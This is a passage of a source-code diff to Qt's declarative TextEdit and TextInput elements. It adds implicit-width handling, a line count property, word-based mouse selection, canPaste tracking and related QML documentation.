+qreal QDeclarativeTextEditPrivate::implicitWidth() const
+{
+ Q_Q(const QDeclarativeTextEdit);
+ if (!requireImplicitWidth) {
+ // We don't calculate implicitWidth unless it is required.
+ // We need to force a size update now to ensure implicitWidth is calculated
+ const_cast<QDeclarativeTextEditPrivate*>(this)->requireImplicitWidth = true;
+ const_cast<QDeclarativeTextEdit*>(q)->updateSize();
+ }
+ return mImplicitWidth;
+}
//### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't
// need to do all the calculations each time
@@ -1348,12 +1524,27 @@ void QDeclarativeTextEdit::updateSize()
{
Q_D(QDeclarativeTextEdit);
if (isComponentComplete()) {
- QFontMetrics fm = QFontMetrics(d->font);
- int dy = height();
+ qreal naturalWidth = d->mImplicitWidth;
// ### assumes that if the width is set, the text will fill to edges
// ### (unless wrap is false, then clipping will occur)
- if (widthValid() && d->document->textWidth() != width())
- d->document->setTextWidth(width());
+ if (widthValid()) {
+ if (!d->requireImplicitWidth) {
+ emit implicitWidthChanged();
+ // if the implicitWidth is used, then updateSize() has already been called (recursively)
+ if (d->requireImplicitWidth)
+ return;
+ }
+ if (d->requireImplicitWidth) {
+ d->document->setTextWidth(-1);
+ naturalWidth = d->document->idealWidth();
+ }
+ if (d->document->textWidth() != width())
+ d->document->setTextWidth(width());
+ } else {
+ d->document->setTextWidth(-1);
+ }
+ QFontMetrics fm = QFontMetrics(d->font);
+ int dy = height();
dy -= (int)d->document->size().height();
int nyoff;
@@ -1378,12 +1569,15 @@ void QDeclarativeTextEdit::updateSize()
if (!widthValid() && d->document->textWidth() != newWidth)
d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug)
// ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed.
- setImplicitWidth(newWidth);
+ if (!widthValid())
+ setImplicitWidth(newWidth);
+ else if (d->requireImplicitWidth)
+ setImplicitWidth(naturalWidth);
qreal newHeight = d->document->isEmpty() ? fm.height() : (int)d->document->size().height();
setImplicitHeight(newHeight);
- setContentsSize(QSize(newWidth, newHeight));
-
+ d->paintedSize = QSize(newWidth, newHeight);
+ setContentsSize(d->paintedSize);
emit paintedSizeChanged();
} else {
d->dirty = true;
@@ -1391,6 +1585,26 @@ void QDeclarativeTextEdit::updateSize()
emit update();
}
+void QDeclarativeTextEdit::updateTotalLines()
+{
+ Q_D(QDeclarativeTextEdit);
+
+ int subLines = 0;
+
+ for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) {
+ QTextLayout *layout = it.layout();
+ if (!layout)
+ continue;
+ subLines += layout->lineCount()-1;
+ }
+
+ int newTotalLines = d->document->lineCount() + subLines;
+ if (d->lineCount != newTotalLines) {
+ d->lineCount = newTotalLines;
+ emit lineCountChanged();
+ }
+}
+
void QDeclarativeTextEditPrivate::updateDefaultTextOption()
{
QTextOption opt = document->defaultTextOption();
@@ -1519,4 +1733,13 @@ void QDeclarativeTextEdit::focusInEvent(QFocusEvent *event)
QDeclarativePaintedItem::focusInEvent(event);
}
+void QDeclarativeTextEdit::q_canPasteChanged()
+{
+ Q_D(QDeclarativeTextEdit);
+ bool old = d->canPaste;
+ d->canPaste = d->control->canPaste();
+ if(old!=d->canPaste)
+ emit canPasteChanged();
+}
+
QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
index cff55f0..7785a7a 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
@@ -43,7 +43,7 @@
#define QDECLARATIVETEXTEDIT_H
#include "private/qdeclarativetext_p.h"
-#include "private/qdeclarativepainteditem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
#include <QtGui/qtextdocument.h>
#include <QtGui/qtextoption.h>
@@ -58,13 +58,14 @@ QT_MODULE(Declarative)
class QDeclarativeTextEditPrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
+class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePaintedItem
{
Q_OBJECT
Q_ENUMS(VAlignment)
Q_ENUMS(HAlignment)
Q_ENUMS(TextFormat)
Q_ENUMS(WrapMode)
+ Q_ENUMS(SelectionMode)
Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
@@ -74,6 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+ Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
@@ -90,6 +92,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged)
Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints)
Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+ Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+ Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
public:
QDeclarativeTextEdit(QDeclarativeItem *parent=0);
@@ -97,7 +101,8 @@ public:
enum HAlignment {
AlignLeft = Qt::AlignLeft,
AlignRight = Qt::AlignRight,
- AlignHCenter = Qt::AlignHCenter
+ AlignHCenter = Qt::AlignHCenter,
+ AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1
};
enum VAlignment {
@@ -119,6 +124,11 @@ public:
Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
};
+ enum SelectionMode {
+ SelectCharacters,
+ SelectWords
+ };
+
Q_INVOKABLE void openSoftwareInputPanel();
Q_INVOKABLE void closeSoftwareInputPanel();
@@ -149,6 +159,8 @@ public:
WrapMode wrapMode() const;
void setWrapMode(WrapMode w);
+ int lineCount() const;
+
bool isCursorVisible() const;
void setCursorVisible(bool on);
@@ -175,6 +187,11 @@ public:
bool selectByMouse() const;
void setSelectByMouse(bool);
+ SelectionMode mouseSelectionMode() const;
+ void setMouseSelectionMode(SelectionMode mode);
+
+ bool canPaste() const;
+
virtual void componentComplete();
/* FROM EDIT */
@@ -194,6 +211,7 @@ public:
Q_INVOKABLE QRectF positionToRectangle(int) const;
Q_INVOKABLE int positionAt(int x, int y) const;
Q_INVOKABLE void moveCursorSelection(int pos);
+ Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
QRectF boundingRect() const;
@@ -212,6 +230,7 @@ Q_SIGNALS:
void horizontalAlignmentChanged(HAlignment alignment);
void verticalAlignmentChanged(VAlignment alignment);
void wrapModeChanged();
+ void lineCountChanged();
void textFormatChanged(TextFormat textFormat);
void readOnlyChanged(bool isReadOnly);
void cursorVisibleChanged(bool isCursorVisible);
@@ -220,11 +239,15 @@ Q_SIGNALS:
void persistentSelectionChanged(bool isPersistentSelection);
void textMarginChanged(qreal textMargin);
void selectByMouseChanged(bool selectByMouse);
+ Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+ Q_REVISION(1) void linkActivated(const QString &link);
+ Q_REVISION(1) void canPasteChanged();
public Q_SLOTS:
void selectAll();
void selectWord();
void select(int start, int end);
+ Q_REVISION(1) void deselect();
#ifndef QT_NO_CLIPBOARD
void cut();
void copy();
@@ -237,9 +260,11 @@ private Q_SLOTS:
void updateSelectionMarkers();
void moveCursorDelegate();
void loadCursorDelegate();
+ void q_canPasteChanged();
private:
void updateSize();
+ void updateTotalLines();
protected:
virtual void geometryChanged(const QRectF &newGeometry,
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
index 68a9cc8..111cc02 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
@@ -54,7 +54,7 @@
//
#include "qdeclarativeitem.h"
-#include "private/qdeclarativepainteditem_p_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include <qdeclarative.h>
@@ -62,7 +62,7 @@ QT_BEGIN_NAMESPACE
class QTextLayout;
class QTextDocument;
class QTextControl;
-class QDeclarativeTextEditPrivate : public QDeclarativePaintedItemPrivate
+class QDeclarativeTextEditPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
{
Q_DECLARE_PUBLIC(QDeclarativeTextEdit)
@@ -70,10 +70,10 @@ public:
QDeclarativeTextEditPrivate()
: color("black"), hAlign(QDeclarativeTextEdit::AlignLeft), vAlign(QDeclarativeTextEdit::AlignTop),
imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
- showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0),
- lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
+ showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
+ textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
- selectByMouse(false),
+ mouseSelectionMode(QDeclarativeTextEdit::SelectCharacters), selectByMouse(false), canPaste(false),
yoff(0)
{
#ifdef Q_OS_SYMBIAN
@@ -88,10 +88,12 @@ public:
void updateDefaultTextOption();
void relayoutDocument();
void updateSelection();
+ qreal implicitWidth() const;
void focusChanged(bool);
QString text;
QFont font;
+ QFont sourceFont;
QColor color;
QColor selectionColor;
QColor selectedTextColor;
@@ -109,6 +111,7 @@ public:
bool showInputPanelOnFocus : 1;
bool clickCausedFocus : 1;
bool persistentSelection : 1;
+ bool requireImplicitWidth:1;
qreal textMargin;
int lastSelectionStart;
int lastSelectionEnd;
@@ -118,8 +121,12 @@ public:
QTextDocument *document;
QTextControl *control;
QDeclarativeTextEdit::WrapMode wrapMode;
+ QDeclarativeTextEdit::SelectionMode mouseSelectionMode;
+ int lineCount;
bool selectByMouse;
+ bool canPaste;
int yoff;
+ QSize paintedSize;
};
QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
index 57a2177..78f34db 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
@@ -50,6 +50,9 @@
#include <QApplication>
#include <QFontMetrics>
#include <QPainter>
+#include <QTextBoundaryFinder>
+#include <QInputContext>
+#include <qstyle.h>
#ifndef QT_NO_LINEEDIT
@@ -75,7 +78,7 @@ QT_BEGIN_NAMESPACE
\sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
*/
QDeclarativeTextInput::QDeclarativeTextInput(QDeclarativeItem* parent)
- : QDeclarativePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
+ : QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
{
Q_D(QDeclarativeTextInput);
d->init();
@@ -213,24 +216,33 @@ void QDeclarativeTextInput::setText(const QString &s)
QFont QDeclarativeTextInput::font() const
{
Q_D(const QDeclarativeTextInput);
- return d->font;
+ return d->sourceFont;
}
void QDeclarativeTextInput::setFont(const QFont &font)
{
Q_D(QDeclarativeTextInput);
- if (d->font == font)
+ if (d->sourceFont == font)
return;
+ d->sourceFont = font;
+ QFont oldFont = d->font;
d->font = font;
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
- d->control->setFont(d->font);
- if(d->cursorItem){
- d->cursorItem->setHeight(QFontMetrics(d->font).height());
- moveCursor();
+ if (oldFont != d->font) {
+ d->control->setFont(d->font);
+ if(d->cursorItem){
+ d->cursorItem->setHeight(QFontMetrics(d->font).height());
+ moveCursor();
+ }
+ updateSize();
}
- updateSize();
- emit fontChanged(d->font);
+ emit fontChanged(d->sourceFont);
}
/*!
@@ -344,6 +356,16 @@ void QDeclarativeTextInput::setHAlign(HAlignment align)
emit horizontalAlignmentChanged(d->hAlign);
}
+/*!
+ \qmlproperty bool TextInput::readOnly
+
+ Sets whether user input can modify the contents of the TextInput.
+
+ If readOnly is set to true, then user input will not affect the text
+ property. Any bindings or attempts to set the text property will still
+ work.
+*/
+
bool QDeclarativeTextInput::isReadOnly() const
{
Q_D(const QDeclarativeTextInput);
@@ -356,11 +378,20 @@ void QDeclarativeTextInput::setReadOnly(bool ro)
if (d->control->isReadOnly() == ro)
return;
+ setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro);
d->control->setReadOnly(ro);
emit readOnlyChanged(ro);
}
+/*!
+ \qmlproperty int TextInput::maximumLength
+ The maximum permitted length of the text in the TextInput.
+
+ If the text is too long, it is truncated at the limit.
+
+ By default, this property contains a value of 32767.
+*/
int QDeclarativeTextInput::maxLength() const
{
Q_D(const QDeclarativeTextInput);
@@ -520,10 +551,10 @@ void QDeclarativeTextInput::select(int start, int end)
It is equivalent to the following snippet, but is faster and easier
to use.
- \qml
+ \js
myTextInput.text.toString().substring(myTextInput.selectionStart,
myTextInput.selectionEnd);
- \endqml
+ \endjs
*/
QString QDeclarativeTextInput::selectedText() const
{
@@ -584,6 +615,11 @@ void QDeclarativeTextInput::setAutoScroll(bool b)
\ingroup qml-basic-visual-elements
This element provides a validator for integer values.
+
+ IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
+ will accept locale specific digits, group separators, and positive and negative signs. In
+ addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
+ locale.
*/
/*!
\qmlproperty int IntValidator::top
@@ -741,6 +777,15 @@ bool QDeclarativeTextInput::hasAcceptableInput() const
}
/*!
+ \qmlsignal TextInput::onAccepted()
+
+ This handler is called when the Return or Enter key is pressed.
+ Note that if there is a \l validator or \l inputMask set on the text
+ input, the handler will only be emitted if the input is in an acceptable
+ state.
+*/
+
+/*!
\qmlproperty enumeration TextInput::echoMode
Specifies how the text should be displayed in the TextInput.
@@ -903,7 +948,7 @@ void QDeclarativeTextInputPrivate::focusChanged(bool hasFocus)
{
Q_Q(QDeclarativeTextInput);
focused = hasFocus;
- q->setCursorVisible(hasFocus);
+ q->setCursorVisible(hasFocus && scene && scene->hasFocus());
if(q->echoMode() == QDeclarativeTextInput::PasswordEchoOnEdit && !hasFocus)
control->updatePasswordEchoEditing(false);//QLineControl sets it on key events, but doesn't deal with focus events
if (!hasFocus)
@@ -945,6 +990,7 @@ void QDeclarativeTextInput::inputMethodEvent(QInputMethodEvent *ev)
} else {
d->control->processInputMethodEvent(ev);
updateSize();
+ d->updateHorizontalScroll();
}
if (!ev->isAccepted())
QDeclarativePaintedItem::inputMethodEvent(ev);
@@ -957,6 +1003,8 @@ Handles the given mouse \a event.
void QDeclarativeTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonDblClick))
+ return;
if (d->selectByMouse) {
int cursor = d->xToPos(event->pos().x());
d->control->selectWordAtPos(cursor);
@@ -969,6 +1017,8 @@ void QDeclarativeTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *even
void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonPress))
+ return;
if(d->focusOnPress){
bool hadActiveFocus = hasActiveFocus();
forceActiveFocus();
@@ -983,6 +1033,10 @@ void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
}
}
}
+ if (d->selectByMouse) {
+ setKeepMouseGrab(false);
+ d->pressPos = event->pos();
+ }
bool mark = event->modifiers() & Qt::ShiftModifier;
int cursor = d->xToPos(event->pos().x());
d->control->moveCursor(cursor, mark);
@@ -992,8 +1046,12 @@ void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
void QDeclarativeTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseMove))
+ event->setAccepted(true);
if (d->selectByMouse) {
- d->control->moveCursor(d->xToPos(event->pos().x()), true);
+ if (qAbs(int(event->pos().x() - d->pressPos.x())) > QApplication::startDragDistance())
+ setKeepMouseGrab(true);
+ moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
event->setAccepted(true);
} else {
QDeclarativePaintedItem::mouseMoveEvent(event);
@@ -1007,6 +1065,10 @@ Handles the given mouse \a event.
void QDeclarativeTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonRelease))
+ return;
+ if (d->selectByMouse)
+ setKeepMouseGrab(false);
if (!d->showInputPanelOnFocus) { // input panel on click
if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) {
if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
@@ -1022,6 +1084,53 @@ void QDeclarativeTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
QDeclarativePaintedItem::mouseReleaseEvent(event);
}
+bool QDeclarativeTextInputPrivate::sendMouseEventToInputContext(
+ QGraphicsSceneMouseEvent *event, QEvent::Type eventType)
+{
+#if !defined QT_NO_IM
+ if (event->widget() && control->composeMode()) {
+ int tmp_cursor = xToPos(event->pos().x());
+ int mousePos = tmp_cursor - control->cursor();
+ if (mousePos < 0 || mousePos > control->preeditAreaText().length()) {
+ mousePos = -1;
+ // don't send move events outside the preedit area
+ if (eventType == QEvent::MouseMove)
+ return true;
+ }
+
+ QInputContext *qic = event->widget()->inputContext();
+ if (qic) {
+ QMouseEvent mouseEvent(
+ eventType,
+ event->widget()->mapFromGlobal(event->screenPos()),
+ event->screenPos(),
+ event->button(),
+ event->buttons(),
+ event->modifiers());
+ // may be causing reset() in some input methods
+ qic->mouseHandler(mousePos, &mouseEvent);
+ event->setAccepted(mouseEvent.isAccepted());
+ }
+ if (!control->preeditAreaText().isEmpty())
+ return true;
+ }
+#else
+ Q_UNUSED(event);
+ Q_UNUSED(eventType)
+#endif
+
+ return false;
+}
+
+bool QDeclarativeTextInput::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ setKeepMouseGrab(false);
+ }
+ return rv;
+}
+
bool QDeclarativeTextInput::event(QEvent* ev)
{
Q_D(QDeclarativeTextInput);
@@ -1063,13 +1172,15 @@ int QDeclarativeTextInputPrivate::calculateTextWidth()
void QDeclarativeTextInputPrivate::updateHorizontalScroll()
{
Q_Q(QDeclarativeTextInput);
- int cix = qRound(control->cursorToX());
+ const int preeditLength = control->preeditAreaText().length();
+ int cix = qRound(control->cursorToX(control->cursor() + preeditLength));
QRect br(q->boundingRect().toRect());
int widthUsed = calculateTextWidth();
+ Qt::Alignment va = QStyle::visualAlignment(control->layoutDirection(), QFlag(Qt::Alignment(hAlign)));
if (autoScroll) {
if (widthUsed <= br.width()) {
// text fits in br; use hscroll for alignment
- switch (hAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
+ switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
case Qt::AlignRight:
hscroll = widthUsed - br.width() - 1;
break;
@@ -1092,13 +1203,26 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
// right
hscroll = widthUsed - br.width() + 1;
}
+ if (preeditLength > 0) {
+ // check to ensure long pre-edit text doesn't push the cursor
+ // off to the left
+ cix = qRound(control->cursorToX(
+ control->cursor() + qMax(0, control->preeditCursor() - 1)));
+ if (cix < hscroll)
+ hscroll = cix;
+ }
} else {
- if(hAlign == QDeclarativeTextInput::AlignRight){
+ switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
+ case Qt::AlignRight:
hscroll = q->width() - widthUsed;
- }else if(hAlign == QDeclarativeTextInput::AlignHCenter){
+ break;
+ case Qt::AlignHCenter:
hscroll = (q->width() - widthUsed) / 2;
- } else {
+ break;
+ default:
+ // Left
hscroll = 0;
+ break;
}
}
}
@@ -1160,6 +1284,17 @@ QVariant QDeclarativeTextInput::inputMethodQuery(Qt::InputMethodQuery property)
}
/*!
+ \qmlmethod void TextInput::deselect()
+
+ Removes active text selection.
+*/
+void QDeclarativeTextInput::deselect()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->deselect();
+}
+
+/*!
\qmlmethod void TextInput::selectAll()
Causes all text to be selected.
@@ -1202,7 +1337,8 @@ void QDeclarativeTextInput::copy()
void QDeclarativeTextInput::paste()
{
Q_D(QDeclarativeTextInput);
- d->control->paste();
+ if(!d->control->isReadOnly())
+ d->control->paste();
}
#endif // QT_NO_CLIPBOARD
@@ -1301,35 +1437,137 @@ void QDeclarativeTextInput::setSelectByMouse(bool on)
}
}
+/*!
+ \qmlproperty enum TextInput::mouseSelectionMode
+ \since Quick 1.1
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextInput.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextInput::SelectionMode QDeclarativeTextInput::mouseSelectionMode() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextInput::setMouseSelectionMode(SelectionMode mode)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->mouseSelectionMode != mode) {
+ d->mouseSelectionMode = mode;
+ emit mouseSelectionModeChanged(mode);
+ }
+}
+
+bool QDeclarativeTextInput::canPaste() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->canPaste;
+}
+
+void QDeclarativeTextInput::moveCursorSelection(int position)
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->moveCursor(position, true);
+ d->updateHorizontalScroll();
+}
/*!
- \qmlmethod void TextInput::moveCursorSelection(int position)
+ \qmlmethod void TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters)
+ \since Quick 1.1
- Moves the cursor to \a position and updates the selection accordingly.
- (To only move the cursor, set the \l cursorPosition property.)
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
When this method is called it additionally sets either the
selectionStart or the selectionEnd (whichever was at the previous cursor position)
to the specified position. This allows you to easily extend and contract the selected
text range.
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextInput.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
For example, take this sequence of calls:
\code
cursorPosition = 5
- moveCursorSelection(9)
- moveCursorSelection(7)
+ moveCursorSelection(9, TextInput.SelectCharacters)
+ moveCursorSelection(7, TextInput.SelectCharacters)
\endcode
This moves the cursor to position 5, extend the selection end from 5 to 9
and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
selected (the 6th and 7th characters).
+
+ The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
*/
-void QDeclarativeTextInput::moveCursorSelection(int position)
+void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
{
Q_D(QDeclarativeTextInput);
- d->control->moveCursor(position, true);
- d->updateHorizontalScroll();
+
+ if (mode == SelectCharacters) {
+ d->control->moveCursor(pos, true);
+ } else if (pos != d->control->cursor()){
+ const int cursor = d->control->cursor();
+ int anchor;
+ if (!d->control->hasSelectedText())
+ anchor = d->control->cursor();
+ else if (d->control->selectionStart() == d->control->cursor())
+ anchor = d->control->selectionEnd();
+ else
+ anchor = d->control->selectionStart();
+
+ if (anchor < pos || (anchor == pos && cursor < pos)) {
+ QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
+ finder.setPosition(anchor);
+
+ const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+ if (!(reasons & QTextBoundaryFinder::StartWord)
+ || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor)) {
+ finder.toPreviousBoundary();
+ }
+ anchor = finder.position();
+
+ finder.setPosition(pos);
+ if (!finder.isAtBoundary())
+ finder.toNextBoundary();
+
+ d->control->setSelection(anchor, finder.position() - anchor);
+ } else if (anchor > pos || (anchor == pos && cursor > pos)) {
+ QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
+ finder.setPosition(anchor);
+
+ const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+ if (!(reasons & QTextBoundaryFinder::EndWord)
+ || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor)) {
+ finder.toNextBoundary();
+ }
+
+ anchor = finder.position();
+
+ finder.setPosition(pos);
+ if (!finder.isAtBoundary())
+ finder.toPreviousBoundary();
+
+ d->control->setSelection(anchor, finder.position() - anchor);
+ }
+ }
}
/*!
@@ -1465,6 +1703,14 @@ void QDeclarativeTextInputPrivate::init()
q, SIGNAL(accepted()));
q->connect(control, SIGNAL(updateNeeded(QRect)),
q, SLOT(updateRect(QRect)));
+#ifndef QT_NO_CLIPBOARD
+ q->connect(q, SIGNAL(readOnlyChanged(bool)),
+ q, SLOT(q_canPasteChanged()));
+ q->connect(QApplication::clipboard(), SIGNAL(dataChanged()),
+ q, SLOT(q_canPasteChanged()));
+#endif // QT_NO_CLIPBOARD
+ q->connect(control, SIGNAL(updateMicroFocus()),
+ q, SLOT(updateMicroFocus()));
q->updateSize();
oldValidity = control->hasAcceptableInput();
lastSelectionStart = 0;
@@ -1566,6 +1812,17 @@ void QDeclarativeTextInput::updateSize(bool needsRedraw)
}
}
+void QDeclarativeTextInput::q_canPasteChanged()
+{
+ Q_D(QDeclarativeTextInput);
+ bool old = d->canPaste;
+#ifndef QT_NO_CLIPBOARD
+ d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0;
+#endif
+ if(d->canPaste != old)
+ emit canPasteChanged();
+}
+
QT_END_NAMESPACE
#endif // QT_NO_LINEEDIT
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
index abea0e8..e1e66a9 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
@@ -43,7 +43,7 @@
#define QDECLARATIVETEXTINPUT_H
#include "private/qdeclarativetext_p.h"
-#include "private/qdeclarativepainteditem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
#include <QGraphicsSceneMouseEvent>
#include <QIntValidator>
@@ -58,11 +58,12 @@ QT_MODULE(Declarative)
class QDeclarativeTextInputPrivate;
class QValidator;
-class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
+class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizePaintedItem
{
Q_OBJECT
Q_ENUMS(HAlignment)
Q_ENUMS(EchoMode)
+ Q_ENUMS(SelectionMode)
Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
@@ -94,6 +95,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged)
Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged)
Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+ Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+ Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
public:
QDeclarativeTextInput(QDeclarativeItem* parent=0);
@@ -112,10 +115,16 @@ public:
AlignHCenter = Qt::AlignHCenter
};
+ enum SelectionMode {
+ SelectCharacters,
+ SelectWords
+ };
+
//Auxilliary functions needed to control the TextInput from QML
Q_INVOKABLE int positionAt(int x) const;
Q_INVOKABLE QRectF positionToRectangle(int pos) const;
Q_INVOKABLE void moveCursorSelection(int pos);
+ Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
Q_INVOKABLE void openSoftwareInputPanel();
Q_INVOKABLE void closeSoftwareInputPanel();
@@ -184,12 +193,16 @@ public:
bool selectByMouse() const;
void setSelectByMouse(bool);
